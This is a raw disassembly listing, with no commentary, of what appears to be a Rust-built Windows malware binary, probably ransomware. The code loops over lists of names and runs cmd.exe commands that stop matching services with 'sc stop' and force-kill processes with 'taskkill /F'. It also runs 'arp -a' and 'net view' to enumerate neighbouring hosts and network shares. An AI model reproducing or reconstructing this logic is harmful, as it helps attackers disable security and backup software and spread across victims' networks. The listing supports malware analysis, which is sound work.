lea rax, [0x140440f0a]
mov qword [r15 + 0x320], rax
mov qword [r15 + 0x328], 3
lea rax, [0x140440f0d]
mov qword [r15 + 0x330], rax
mov qword [r15 + 0x338], 5
lea rax, [0x140440f12]
mov qword [r15 + 0x340], rax
mov qword [r15 + 0x348], 5
lea rax, [0x140440f17]
mov qword [r15 + 0x350], rax
mov qword [r15 + 0x358], 0xa
lea rax, [0x140440f21]
mov qword [r15 + 0x360], rax
mov qword [r15 + 0x368], 8
lea rax, [0x140440f29]
mov qword [r15 + 0x370], rax
mov qword [r15 + 0x378], 0xb
lea rax, [0x140440f34]
mov qword [r15 + 0x380], rax
mov qword [r15 + 0x388], 7
lea rax, [0x140440f3b]
mov qword [r15 + 0x390], rax
mov qword [r15 + 0x398], 5
lea rax, [0x140440f40]
mov qword [r15 + 0x3a0], rax
mov qword [r15 + 0x3a8], 0xa
lea rax, [0x140440f4a]
mov qword [r15 + 0x3b0], rax
mov qword [r15 + 0x3b8], 0x10
lea rax, [0x140440cb2]
mov qword [r15 + 0x3c0], rax
mov qword [r15 + 0x3c8], 0xb
lea rax, [0x140440cd3]
mov qword [r15 + 0x3d0], rax
mov qword [r15 + 0x3d8], 0x11
lea rax, [0x140440f5a]
mov qword [r15 + 0x3e0], rax
mov qword [r15 + 0x3e8], 0x12
movzx eax, byte [r14]
mov ebx, 8
mov ecx, 0xd0
mov edx, 8
call sym.__rust_alloc
test rax, rax
je 0x14000a1ca
mov rcx, rax
mov rax, qword [rsp + 0x178]
mov qword [rsp + 0x48], rax
lea rax, [0x140441008]
mov qword [rcx], rax
mov qword [rcx + 8], 7
lea rax, [0x140440f73]
mov qword [rcx + 0x10], rax
mov qword [rcx + 0x18], 0xc
lea rax, [0x140440f7f]
mov qword [rcx + 0x20], rax
mov qword [rcx + 0x28], 0xc
lea rax, [0x140440f8b]
mov qword [rcx + 0x30], rax
mov qword [rcx + 0x38], 0x14
lea rax, [0x140440f9f]
mov qword [rcx + 0x40], rax
mov qword [rcx + 0x48], 8
lea rax, [0x140440fa7]
mov qword [rcx + 0x50], rax
mov qword [rcx + 0x58], 8
lea rax, [0x140440faf]
mov qword [rcx + 0x60], rax
mov qword [rcx + 0x68], 0xb
lea rax, [0x140440fba]
mov qword [rcx + 0x70], rax
mov qword [rcx + 0x78], 0xe
lea rax, [0x140440fc8]
mov qword [rcx + 0x80], rax
mov qword [rcx + 0x88], 0xa
lea rax, [0x140440fd2]
mov qword [rcx + 0x90], rax
mov qword [rcx + 0x98], 0x16
lea rax, [0x140440fe8]
mov qword [rcx + 0xa0], rax
mov qword [rcx + 0xa8], 0xc
lea rax, [0x140440ff4]
mov qword [rcx + 0xb0], rax
mov qword [rcx + 0xb8], 0xb
lea rax, [0x140440fff]
mov qword [rcx + 0xc0], rax
mov qword [rsp + 0x70], rcx
mov qword [rcx + 0xc8], 9
lea rsi, [rsp + 0x180]
nop
movdqu xmm0, xmmword [r13 + rbx - 8]
movdqu xmmword [rsp + 0xa0], xmm0
mov r8d, 3
mov rcx, rsi
lea rdx, str.cmd_Cchcp_65001__nulnet_view__
call sym.std::sys::pal::windows::process::Command::new::h9ba2d47048b9bdf3
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x118], rax
lea rax, [sym.__T_as_core::fmt::Display_::fmt::h93282b6719729994]
mov qword [rsp + 0x120], rax
lea rax, str.for__F__tokens2_delims:___i_in__sc_query_state_all__findstr__I___do_sc_stop__i
mov qword [rsp + 0x980], rax
mov qword [rsp + 0x988], 2
mov qword [rsp + 0x9a0], 0
lea rax, [rsp + 0x118]
mov qword [rsp + 0x990], rax
mov qword [rsp + 0x998], 1
lea rcx, [rsp + 0xe0]
lea rdx, [rsp + 0x980]
call sym.alloc::fmt::format::format_inner::h2e4b5bde2a7ad535
mov rdi, qword [rsp + 0xe0]
mov r14, qword [rsp + 0xe8]
mov r12, qword [rsp + 0xf0]
mov r8d, 2
mov rcx, rsi
lea rdx, [0x14044079b]
call sym.std::sys::pal::windows::process::Command::arg::h887e049a537454ee
mov rcx, rsi
mov rdx, r14
mov r8, r12
call sym.std::sys::pal::windows::process::Command::arg::h887e049a537454ee
mov dword [rsp + 0x240], 0x8000000
lea rcx, [rsp + 0x480]
mov rdx, rsi
call sym.std::process::Command::output::h37534e7899fe7627
mov rdx, qword [rsp + 0x480]
movabs rax, 0x8000000000000000
cmp rdx, rax
jne 0x140008180
lea rcx, [rsp + 0x488]
call sym._ZN4core3ptr42drop_in_place_LT_std..io..error..Error_GT_17h10f50175a72312bcE.llvm.13514751015752540465
jmp 0x1400081b8
test rdx, rdx
je 0x140008198
mov rcx, qword [rsp + 0x488]
mov r8d, 1
call sym.__rust_dealloc
mov rdx, qword [rsp + 0x498]
test rdx, rdx
je 0x1400081b8
mov rcx, qword [rsp + 0x4a0]
mov r8d, 1
call sym.__rust_dealloc
test rdi, rdi
je 0x1400081ce
mov r8d, 1
mov rcx, r14
mov rdx, rdi
call sym.__rust_dealloc
mov rcx, rsi
call sym.core::ptr::drop_in_place_std::process::Command_::h8c51d0c156caf2f5
add rbx, 0x10
cmp rbx, 0x3c8
jne 0x140008060
mov r12d, 8
mov edx, 0x3c0
mov r8d, 8
mov rcx, r13
call sym.__rust_dealloc
lea r14, [rsp + 0x180]
lea rsi, [rsp + 0x480]
movdqu xmm0, xmmword [r15 + r12 - 8]
movdqu xmmword [rsp + 0xa0], xmm0
mov r8d, 3
mov rcx, r14
lea rdx, str.cmd_Cchcp_65001__nulnet_view__
call sym.std::sys::pal::windows::process::Command::new::h9ba2d47048b9bdf3
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x118], rax
lea rax, [sym.__T_as_core::fmt::Display_::fmt::h93282b6719729994]
mov qword [rsp + 0x120], rax
lea rax, str.taskkill__IM___F
mov qword [rsp + 0x980], rax
mov qword [rsp + 0x988], 2
mov qword [rsp + 0x9a0], 0
lea rax, [rsp + 0x118]
mov qword [rsp + 0x990], rax
mov qword [rsp + 0x998], 1
lea rcx, [rsp + 0xe0]
lea rdx, [rsp + 0x980]
call sym.alloc::fmt::format::format_inner::h2e4b5bde2a7ad535
mov rbx, qword [rsp + 0xe0]
mov rdi, qword [rsp + 0xe8]
mov r13, qword [rsp + 0xf0]
mov r8d, 2
mov rcx, r14
lea rdx, [0x14044079b]
call sym.std::sys::pal::windows::process::Command::arg::h887e049a537454ee
mov rcx, r14
mov rdx, rdi
mov r8, r13
call sym.std::sys::pal::windows::process::Command::arg::h887e049a537454ee
mov dword [rsp + 0x240], 0x8000000
mov rcx, rsi
mov rdx, r14
call sym.std::process::Command::output::h37534e7899fe7627
mov rdx, qword [rsp + 0x480]
movabs rax, 0x8000000000000000
cmp rdx, rax
jne 0x140008330
lea rcx, [rsp + 0x488]
call sym._ZN4core3ptr42drop_in_place_LT_std..io..error..Error_GT_17h10f50175a72312bcE.llvm.13514751015752540465
jmp 0x140008368
test rdx, rdx
je 0x140008348
mov rcx, qword [rsp + 0x488]
mov r8d, 1
call sym.__rust_dealloc
mov rdx, qword [rsp + 0x498]
test rdx, rdx
je 0x140008368
mov rcx, qword [rsp + 0x4a0]
mov r8d, 1
call sym.__rust_dealloc
test rbx, rbx
je 0x14000837e
mov r8d, 1
mov rcx, rdi
mov rdx, rbx
call sym.__rust_dealloc
mov rcx, r14
call sym.core::ptr::drop_in_place_std::process::Command_::h8c51d0c156caf2f5
add r12, 0x10
cmp r12, 0x3f8
jne 0x140008210
mov r12d, 8
mov edx, 0x3f0
mov r8d, 8
mov rcx, r15
call sym.__rust_dealloc
lea r14, [rsp + 0x180]
lea r15, [0x14044079b]
lea r13, [rsp + 0x480]
nop word [rax + rax]
mov rax, qword [rsp + 0x70]
movdqu xmm0, xmmword [rax + r12 - 8]
movdqu xmmword [rsp + 0xa0], xmm0
mov r8d, 3
mov rcx, r14
lea rdx, str.cmd_Cchcp_65001__nulnet_view__
call sym.std::sys::pal::windows::process::Command::new::h9ba2d47048b9bdf3
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x118], rax
lea rax, [sym.__T_as_core::fmt::Display_::fmt::h93282b6719729994]
mov qword [rsp + 0x120], rax
lea rax, [0x140441020]
mov qword [rsp + 0x980], rax
mov qword [rsp + 0x988], 2
mov qword [rsp + 0x9a0], 0
lea rax, [rsp + 0x118]
mov qword [rsp + 0x990], rax
mov qword [rsp + 0x998], 1
lea rcx, [rsp + 0xe0]
lea rdx, [rsp + 0x980]
call sym.alloc::fmt::format::format_inner::h2e4b5bde2a7ad535
mov rsi, qword [rsp + 0xe0]
mov rbx, qword [rsp + 0xe8]
mov rdi, qword [rsp + 0xf0]
mov r8d, 2
mov rcx, r14
mov rdx, r15
call sym.std::sys::pal::windows::process::Command::arg::h887e049a537454ee
mov rcx, r14
mov rdx, rbx
mov r8, rdi
call sym.std::sys::pal::windows::process::Command::arg::h887e049a537454ee
mov dword [rsp + 0x240], 0x8000000
mov rcx, r13
mov rdx, r14
call sym.std::process::Command::output::h37534e7899fe7627
mov rdx, qword [rsp + 0x480]
movabs rax, 0x8000000000000000
cmp rdx, rax
jne 0x1400084f0
lea rcx, [rsp + 0x488]
call sym._ZN4core3ptr42drop_in_place_LT_std..io..error..Error_GT_17h10f50175a72312bcE.llvm.13514751015752540465
jmp 0x140008528
test rdx, rdx
je 0x140008508
mov rcx, qword [rsp + 0x488]
mov r8d, 1
call sym.__rust_dealloc
mov rdx, qword [rsp + 0x498]
test rdx, rdx
je 0x140008528
mov rcx, qword [rsp + 0x4a0]
mov r8d, 1
call sym.__rust_dealloc
test rsi, rsi
je 0x14000853e
mov r8d, 1
mov rcx, rbx
mov rdx, rsi
call sym.__rust_dealloc
mov rcx, r14
call sym.core::ptr::drop_in_place_std::process::Command_::h8c51d0c156caf2f5
add r12, 0x10
cmp r12, 0xd8
jne 0x1400083d0
mov edx, 0xd0
mov r8d, 8
mov rcx, qword [rsp + 0x70]
call sym.__rust_dealloc
mov rdx, qword [rsp + 0x730]
test rdx, rdx
je 0x14000858c
mov rcx, qword [rsp + 0x738]
mov r8d, 1
call sym.__rust_dealloc
mov rdx, qword [rsp + 0x748]
test rdx, rdx
mov r13, qword [0x14050df18]
lea r15, [rsp + 0x730]
je 0x1400085bb
mov rcx, qword [rsp + 0x750]
mov r8d, 1
call sym.__rust_dealloc
mov rdx, qword [rsp + 0x78]
test rdx, rdx
je 0x1400085d8
mov r8d, 1
mov rcx, qword [rsp + 0x148]
call sym.__rust_dealloc
mov rdx, qword [rsp + 0x80]
test rdx, rdx
je 0x1400085f8
mov rcx, qword [rsp + 0x88]
mov r8d, 1
call sym.__rust_dealloc
mov rdx, qword [rsp + 0x50]
test rdx, rdx
je 0x140008612
mov rcx, qword [rsp + 0x58]
mov r8d, 1
call sym.__rust_dealloc
lea rdx, [0x1402e26b6]
lea rcx, [rsp + 0xba0]
mov r8d, 8
call sym.clap::args::arg_matches::ArgMatches::is_present::he127ef9f45c21826
test al, al
jne 0x140008a99
mov rbx, qword [rsp + 0x150]
test rbx, rbx
je 0x140008671
js 0x14000a1de
movzx eax, byte [r13]
mov esi, 1
mov edx, 1
mov rcx, rbx
call sym.__rust_alloc
test rax, rax
mov r14, qword [rsp + 0x48]
je 0x14000a1e0
mov rdi, rax
jmp 0x140008679
mov edi, 1
xor r14d, r14d
mov rcx, rdi
mov rdx, qword [rsp + 0x38]
mov r8, rbx
call sym.memcpy
mov qword [rsp + 0xe0], r14
mov qword [rsp + 0xe8], rdi
mov qword [rsp + 0xf0], rbx
lea rcx, [rsp + 0x980]
lea rdx, [rsp + 0x130]
call sym.__alloc::string::String_as_core::clone::Clone_::clone::haa927812f4ac785e
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x480], xmm0
movdqa xmmword [rsp + 0x500], xmm0
movdqu xmmword [rsp + 0x298], xmm0
mov qword [rsp + 0x300], 1
mov qword [rsp + 0x308], 1
mov byte [rsp + 0x310], 0
lea rcx, [rsp + 0x180]
lea rdx, [rsp + 0x480]
mov r8d, 0x100
call sym.memcpy
mov word [rsp + 0x280], 0
mov qword [rsp + 0x288], 0
mov qword [rsp + 0x290], 8
mov qword [rsp + 0x2a8], 8
mov qword [rsp + 0x2b0], 0
mov byte [rsp + 0x2b8], 1
movzx eax, byte [r13]
mov ecx, 0x200
mov edx, pe_nt_image_headers64
call sym.__rust_alloc
test rax, rax
je 0x14000a2ed
mov rdi, rax
lea rdx, [rsp + 0x180]
mov r8d, 0x200
mov rcx, rax
call sym.memcpy
mov qword [rsp + 0xa0], 1
mov qword [rsp + 0xa8], rdi
mov qword [rsp + 0x118], 1
mov qword [rsp + 0x120], rdi
lea rcx, [rsp + 0x730]
lea rdx, [rsp + 0xe0]
call sym.__alloc::string::String_as_core::clone::Clone_::clone::haa927812f4ac785e
lea rcx, [rsp + 0x180]
lea rdx, [rsp + 0x980]
call sym.__alloc::string::String_as_core::clone::Clone_::clone::haa927812f4ac785e
mov rsi, qword [rsp + 0x180]
mov rbx, qword [rsp + 0x188]
mov r14, qword [rsp + 0x190]
movzx eax, byte [r13]
mov ecx, 0x28
mov edx, 8
call sym.__rust_alloc
test rax, rax
je 0x14000a301
mov qword [rax], 1
mov qword [rax + 8], 1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rbx
mov qword [rax + 0x20], r14
mov qword [rsp + 0xc0], rax
lock inc qword [rdi + 0x180]
jle 0x14000a43e
mov rax, qword [rsp + 0x740]
mov qword [rsp + 0x1a0], rax
movdqu xmm0, xmmword [rsp + 0x730]
movdqu xmmword [rsp + 0x190], xmm0
mov qword [rsp + 0x180], 1
mov qword [rsp + 0x188], rdi
mov bl, 1
xor r14d, r14d
lea rcx, [rsp + 0x480]
lea rdx, [rsp + 0x180]
call sym.std::thread::spawn::hf3a1b460f47efa80
xor r14d, r14d
lea rcx, [rsp + 0x480]
call sym.core::ptr::drop_in_place_std::thread::JoinHandle_____::hfcb15bf29f25a871
mov qword [rsp + 0x180], 1
lea rsi, [rsp + 0x188]
mov qword [rsp + 0x188], rdi
xor r14d, r14d
xor ebx, ebx
mov rcx, rsi
call sym.std::sync::mpmc::counter::Sender_C_::release::hc3184b5960516947
xor r14d, r14d
lea rcx, [rsp + 0x480]
mov edx, 0x32
xor ebx, ebx
call sym.threadpool::ThreadPool::new::h0b73a3087ccef3f5
mov qword [rsp + 0x50], 1
lea rbx, [rsp + 0x58]
mov qword [rsp + 0x58], rdi
lea r14, [rsp + 0x180]
lea r15, [rsp + 0x480]
nop word cs:[rax + rax]
mov rcx, r14
mov rdx, rdi
mov r9d, 0x3b9aca00
call sym.std::sync::mpmc::list::Channel_T_::recv::h5877ee3782770e7b
mov rax, qword [rsp + 0x180]
movabs rcx, 0x8000000000000000
cmp rax, rcx
je 0x14000897f
movups xmm0, xmmword [rsi]
movaps xmmword [rsp + 0x80], xmm0
mov rcx, qword [rsp + 0xc0]
lock inc qword [rcx]
jle 0x14000a421
mov qword [rsp + 0x180], rax
movdqa xmm0, xmmword [rsp + 0x80]
movdqu xmmword [rsi], xmm0
mov qword [rsp + 0x198], rcx
mov rcx, r15
mov rdx, r14
call sym.threadpool::ThreadPool::execute::h7c21da3f851ab131
jmp 0x140008910
mov rcx, rbx
call sym.std::sync::mpmc::counter::Receiver_C_::release::h68f5838179b1be61
lea rcx, [rsp + 0x480]
call sym.threadpool::ThreadPool::join::h42ab1331c757c744
mov rax, qword [rsp + 0x480]
test rax, rax
lea r15, [rsp + 0x730]
je 0x1400089bd
lea rcx, [rsp + 0x488]
cmp eax, 1
jne 0x140008a19
call sym.std::sync::mpmc::counter::Sender_C_::release::hc17a35a53b209e6c
jmp 0x140008a1e
mov rsi, qword [rsp + 0x488]
lock dec qword [rsi + 0x200]
jne 0x140008a1e
mov rax, qword [rsi + 0x80]
mov rcx, qword [rsi + 0x190]
mov rdx, rax
or rdx, rcx
lock cmpxchg qword [rsi + 0x80], rdx
jne 0x1400089dd
test qword [rsi + 0x190], rax
jne 0x140008a03
lea rcx, [rsi + 0x140]
call sym._ZN3std4sync4mpmc5waker9SyncWaker10disconnect17hc8b89d4d4ace4668E.llvm.9772876836740583464
mov al, 1
xchg byte [rsi + 0x210], al
test al, al
je 0x140008a1e
mov rcx, rsi
call fcn.140027180
jmp 0x140008a1e
call sym.std::sync::mpmc::counter::Sender_C_::release::h40c8a9d3465a0cc1
mov rax, qword [rsp + 0x490]
lock dec qword [rax]
jne 0x140008a3e
lea rcx, [rsp + 0x490]
mov r14b, 1
xor ebx, ebx
call sym.alloc::sync::Arc_T_A_::drop_slow::h9162f9a77a7a5405
mov rax, qword [rsp + 0xc0]
lock dec qword [rax]
jne 0x140008a59
lea rcx, [rsp + 0xc0]
call sym.alloc::sync::Arc_T_A_::drop_slow::h0dfdb39000828669
mov rdx, qword [rsp + 0x980]
test rdx, rdx
je 0x140008a79
mov rcx, qword [rsp + 0x988]
mov r8d, 1
call sym.__rust_dealloc
mov rdx, qword [rsp + 0xe0]
test rdx, rdx
je 0x140008a99
mov rcx, qword [rsp + 0xe8]
mov r8d, 1
call sym.__rust_dealloc
lea rdx, [0x1402e26f0]
lea rcx, [rsp + 0xba0]
mov r8d, 6
call sym.clap::args::arg_matches::ArgMatches::is_present::he127ef9f45c21826
test al, al
jne 0x14000a040
lea rcx, [rsp + 0x468]
lea rdx, [rsp + 0x130]
call sym.__alloc::string::String_as_core::clone::Clone_::clone::haa927812f4ac785e
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x480], xmm0
movdqa xmmword [rsp + 0x500], xmm0
movdqu xmmword [rsp + 0x298], xmm0
mov qword [rsp + 0x300], 1
mov qword [rsp + 0x308], 1
mov byte [rsp + 0x310], 0
lea rcx, [rsp + 0x180]
lea rdx, [rsp + 0x480]
mov r8d, 0x100
call sym.memcpy
mov word [rsp + 0x280], 0
mov qword [rsp + 0x288], 0
mov qword [rsp + 0x290], 8
mov qword [rsp + 0x2a8], 8
mov qword [rsp + 0x2b0], 0
mov byte [rsp + 0x2b8], 1
movzx eax, byte [r13]
mov ecx, 0x200
mov edx, pe_nt_image_headers64
call sym.__rust_alloc
test rax, rax
je 0x14000a315
mov rsi, rax
lea rdx, [rsp + 0x180]
mov r8d, 0x200
mov rcx, rax
call sym.memcpy
mov qword [rsp + 0x440], 1
mov qword [rsp + 0x448], rsi
mov qword [rsp + 0x720], 1
mov qword [rsp + 0x728], rsi
mov bl, 1
lea rcx, [rsp + 0x180]
lea rdx, [rsp + 0x468]
call sym.__alloc::string::String_as_core::clone::Clone_::clone::haa927812f4ac785e
mov rsi, qword [rsp + 0x180]
mov rdi, qword [rsp + 0x188]
mov rbx, qword [rsp + 0x190]
movzx eax, byte [r13]
mov ecx, 0x28
mov edx, 8
call sym.__rust_alloc
test rax, rax
je 0x14000a329
mov qword [rax], 1
mov qword [rax + 8], 1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], rbx
mov qword [rsp + 0x158], rax
mov qword [rsp + 0x160], 0
mov qword [rsp + 0x168], 8
mov qword [rsp + 0x170], 0
lea rdx, str.arp_a_d1_3.d1_3.d1_3.d1_3_
lea rcx, [rsp + 0x180]
mov r8d, 3
call sym.std::sys::pal::windows::process::Command::new::h9ba2d47048b9bdf3
lea rdx, [0x1404406db]
lea rcx, [rsp + 0x180]
mov r8d, 2
call sym.std::sys::pal::windows::process::Command::arg::h887e049a537454ee
lea rcx, [rsp + 0x980]
lea rdx, [rsp + 0x180]
call sym.std::process::Command::output::h37534e7899fe7627
mov rdx, qword [rsp + 0x980]
movabs rax, 0x8000000000000000
cmp rdx, rax
mov qword [rsp + 0x148], rdx
jne 0x140008ddc
mov rax, qword [rsp + 0x988]
mov qword [rsp + 0x420], rax
mov qword [rsp + 0x80], 0
mov qword [rsp + 0x88], 1
mov qword [rsp + 0x90], 0
mov qword [rsp + 0x760], 0x20
mov byte [rsp + 0x768], 3
mov qword [rsp + 0x730], 0
mov qword [rsp + 0x740], 0
lea rax, [rsp + 0x80]
mov qword [rsp + 0x750], rax
lea rax, sym._ZN4core3ptr42drop_in_place_LT_alloc..string..String_GT_17h77885eb946a5aa96E.llvm.13514751015752540465
mov qword [rsp + 0x758], rax
lea rcx, [rsp + 0x420]
lea rdx, [rsp + 0x730]
call sym.__std::io::error::Error_as_core::fmt::Display_::fmt::he2dbf906bfd27f01
test al, al
jne 0x14000a37d
movdqu xmm0, xmmword [rsp + 0x80]
movdqa xmmword [rsp + 0x50], xmm0
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x60], rax
lea rcx, [rsp + 0x420]
call sym._ZN4core3ptr42drop_in_place_LT_std..io..error..Error_GT_17h10f50175a72312bcE.llvm.13514751015752540465
mov rax, qword [rsp + 0x60]
movdqa xmm0, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0xc0], xmm0
mov qword [rsp + 0xd0], rax
movdqu xmmword [rsp + 0x88], xmm0
mov qword [rsp + 0x98], rax
mov qword [rsp + 0x80], 1
lea rcx, [rsp + 0x180]
call sym.core::ptr::drop_in_place_std::process::Command_::h8c51d0c156caf2f5
mov r12b, 1
jmp 0x140009b52
lea rax, [rsp + 0x988]
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0xb0], rcx
movdqu xmm0, xmmword [rax]
movups xmm1, xmmword [rsp + 0x9a0]
movups xmmword [rsp + 0x100], xmm1
mov rax, qword [rsp + 0x9b0]
mov qword [rsp + 0x110], rax
movdqa xmmword [rsp + 0xc0], xmm0
mov qword [rsp + 0xd0], rcx
movdqu xmmword [rsp + 0xe8], xmm0
mov qword [rsp + 0xf8], rcx
mov qword [rsp + 0xe0], rdx
lea rcx, [rsp + 0x180]
call sym.core::ptr::drop_in_place_std::process::Command_::h8c51d0c156caf2f5
mov rdx, qword [rsp + 0xe8]
mov r8, qword [rsp + 0xf0]
lea rcx, [rsp + 0x50]
call sym.alloc::string::String::from_utf8_lossy::heaed299900723259
lea rdx, [0x1404406dd]
lea rcx, [rsp + 0x180]
mov r8d, 0x24
call sym.regex::regex::string::Regex::new::hb53d495bfb32a85a
cmp qword [rsp + 0x180], 0
je 0x14000a3a8
movdqu xmm0, xmmword [rsp + 0x180]
movups xmm1, xmmword [rsp + 0x190]
movaps xmmword [rsp + 0x990], xmm1
movdqa xmmword [rsp + 0x980], xmm0
mov rdi, qword [rsp + 0x58]
mov rbx, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x988]
xor ecx, ecx
call sym.regex_automata::util::pool::inner::THREAD_ID::__getit::h63e847cce604935c
test rax, rax
je 0x14000a3f8
mov r8, qword [rax]
mov r9, qword [rsi + 0x28]
cmp r8, r9
jne 0x140008f0c
mov qword [rsi + 0x28], 1
mov qword [rsp + 0x740], rsi
mov qword [rsp + 0x730], 1
mov qword [rsp + 0x738], r8
mov byte [rsp + 0x748], 0
jmp 0x140008f1c
lea rcx, [rsp + 0x730]
mov rdx, rsi
call sym.regex_automata::util::pool::inner::Pool_T_F_::get_slow::h779115f6c5efd59f
lea rcx, [rsp + 0x180]
lea rsi, [rsp + 0x980]
mov rdx, rsi
call sym.regex_automata::meta::regex::Regex::create_captures::h441e488837873d36
movups xmm0, xmmword [rsp + 0x730]
movups xmm1, xmmword [rsp + 0x740]
movaps xmmword [rsp + 0x490], xmm1
movaps xmmword [rsp + 0x480], xmm0
movdqu xmm0, xmmword [rsp + 0x180]
movups xmm1, xmmword [rsp + 0x190]
movdqa xmmword [rsp + 0x4e0], xmm0
movaps xmmword [rsp + 0x4f0], xmm1
mov rax, qword [rsp + 0x1a0]
mov qword [rsp + 0x500], rax
mov qword [rsp + 0x4a0], 0
mov dword [rsp + 0x4b0], 0
mov qword [rsp + 0x4b8], rdi
mov qword [rsp + 0x4c0], rbx
mov qword [rsp + 0x4c8], 0
mov qword [rsp + 0x4d0], rbx
mov byte [rsp + 0x4d8], 0
mov eax, dword [rsp + 0x450]
mov ecx, dword [rsp + 0x453]
mov dword [rsp + 0x4dc], ecx
mov dword [rsp + 0x4d9], eax
mov qword [rsp + 0x508], rsi
mov qword [rsp + 0x510], rdi
mov qword [rsp + 0x518], rbx
lea rcx, [rsp + 0x118]
lea rdx, [rsp + 0x480]
call sym._ZN98__LT_alloc..vec..Vec_LT_T_GT__u20_as_u20_alloc..vec..spec_from_iter..SpecFromIter_LT_T_C_I_GT__GT_9from_iter17h70d823da55
mov rax, qword [rsp + 0x128]
mov qword [rsp + 0x98], rax
movdqu xmm0, xmmword [rsp + 0x118]
movdqu xmmword [rsp + 0x88], xmm0
mov qword [rsp + 0x80], 0
lea r12, [rsp + 0x980]
mov rcx, r12
call sym.core::ptr::drop_in_place_regex::regex::string::Regex_::hf5fc322f79524ea4
lea rsi, [rsp + 0x88]
mov rdx, qword [rsp + 0x50]
movabs rax, 0x8000000000000000
cmp rdx, rax
je 0x140009081
test rdx, rdx
je 0x140009081
mov rcx, qword [rsp + 0x58]
mov r8d, 1
call sym.__rust_dealloc
lea rcx, [rsp + 0xe0]
call sym.core::ptr::drop_in_place_std::process::Output_::h14190d7230ac1bd6
movdqu xmm0, xmmword [rsi]
movdqa xmmword [rsp + 0x420], xmm0
mov rax, qword [rsi + 0x10]
mov qword [rsp + 0x430], rax
mov rcx, qword [rsp + 0x428]
mov qword [rsp + 0x460], rcx
test rax, rax
je 0x140009b1a
lea rax, [rax + rax*2]
mov rcx, qword [rsp + 0x460]
lea rax, [rcx + rax*8]
mov qword [rsp + 0x78], rax
lea rbx, [rsp + 0x180]
jmp 0x1400090f4
mov rcx, qword [rsp + 0x48]
add rcx, 0x18
cmp rcx, qword [rsp + 0x78]
je 0x140009b1a
mov qword [rsp + 0x48], rcx
mov qword [rsp + 0x958], rcx
lea rax, [rsp + 0x958]
mov qword [rsp + 0x730], rax
lea rax, [sym.__T_as_core::fmt::Display_::fmt::hafa40f73dff44ebc]
mov qword [rsp + 0x738], rax
lea rax, [0x140440668]
mov qword [rsp + 0x180], rax
mov qword [rsp + 0x188], 1
mov qword [rsp + 0x1a0], 0
mov qword [rsp + 0x190], r15
mov qword [rsp + 0x198], 1
lea rcx, [rsp + 0x480]
mov rdx, rbx
call sym.alloc::fmt::format::format_inner::h2e4b5bde2a7ad535
mov rax, qword [rsp + 0x490]
mov qword [rsp + 0xd0], rax
movdqu xmm0, xmmword [rsp + 0x480]
movdqa xmmword [rsp + 0xc0], xmm0
mov rax, qword [rsp + 0xc8]
mov qword [rsp + 0x970], rax
mov rax, qword [rsp + 0xd0]
mov qword [rsp + 0x978], rax
mov r8d, 3
mov rcx, rbx
lea rdx, str.cmd_Cchcp_65001__nulnet_view__
call sym.std::sys::pal::windows::process::Command::new::h9ba2d47048b9bdf3
mov r8d, 2
mov rcx, rbx
lea rdx, [0x14044079b]
call sym.std::sys::pal::windows::process::Command::arg::h887e049a537454ee
mov r8d, 0xf
mov rcx, rbx
lea rdx, [0x14044079d]
call sym.std::sys::pal::windows::process::Command::arg::h887e049a537454ee
mov rcx, r12
mov rdx, rbx
call sym.std::process::Command::output::h37534e7899fe7627
mov rdx, qword [rsp + 0x980]
mov rcx, qword [rsp + 0x988]
movabs rax, 0x8000000000000000
cmp rdx, rax
jne 0x140009307
mov qword [rsp + 0x50], rcx
mov qword [rsp + 0xe0], 0
mov qword [rsp + 0xe8], 1
mov qword [rsp + 0xf0], 0
mov qword [rsp + 0x760], 0x20
mov byte [rsp + 0x768], 3
mov qword [rsp + 0x730], 0
mov qword [rsp + 0x740], 0
lea rax, [rsp + 0xe0]
mov qword [rsp + 0x750], rax
lea rax, sym._ZN4core3ptr42drop_in_place_LT_alloc..string..String_GT_17h77885eb946a5aa96E.llvm.13514751015752540465
mov qword [rsp + 0x758], rax
lea rcx, [rsp + 0x50]
mov rdx, r15
call sym.__std::io::error::Error_as_core::fmt::Display_::fmt::he2dbf906bfd27f01
test al, al
jne 0x14000a105
mov rsi, qword [rsp + 0xe0]
movdqu xmm6, xmmword [rsp + 0xe8]
lea rcx, [rsp + 0x50]
call sym._ZN4core3ptr42drop_in_place_LT_std..io..error..Error_GT_17h10f50175a72312bcE.llvm.13514751015752540465
mov rcx, rbx
call sym.core::ptr::drop_in_place_std::process::Command_::h8c51d0c156caf2f5
test rsi, rsi
je 0x1400092de
movq rcx, xmm6
mov r8d, 1
mov rdx, rsi
call sym.__rust_dealloc
mov rdx, qword [rsp + 0xc0]
test rdx, rdx
je 0x1400090e0
mov rcx, qword [rsp + 0xc8]
mov r8d, 1
call sym.__rust_dealloc
jmp 0x1400090e0
mov rsi, qword [rsp + 0x998]
mov rdi, qword [rsp + 0x9a0]
test rdx, rdx
je 0x140009327
mov r8d, 1
call sym.__rust_dealloc
test rsi, rsi
je 0x14000933d
mov r8d, 1
mov rcx, rdi
mov rdx, rsi
call sym.__rust_dealloc
mov rcx, rbx
call sym.core::ptr::drop_in_place_std::process::Command_::h8c51d0c156caf2f5
mov r8d, 3
mov rcx, rbx
lea rdx, str.cmd_Cchcp_65001__nulnet_view__
call sym.std::sys::pal::windows::process::Command::new::h9ba2d47048b9bdf3
mov r14, r13
lea rax, [rsp + 0x970]
mov qword [rsp + 0x450], rax
lea rax, [sym.__T_as_core::fmt::Display_::fmt::h93282b6719729994]
mov qword [rsp + 0x458], rax
lea rax, [0x1404407b8]
mov qword [rsp + 0x730], rax
mov qword [rsp + 0x738], 1
mov qword [rsp + 0x750], 0
lea rax, [rsp + 0x450]
mov qword [rsp + 0x740], rax
mov qword [rsp + 0x748], 1
lea rcx, [rsp + 0x50]
mov rdx, r15
call sym.alloc::fmt::format::format_inner::h2e4b5bde2a7ad535
mov rdi, qword [rsp + 0x50]
mov rbx, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov r8d, 2
lea r13, [rsp + 0x180]
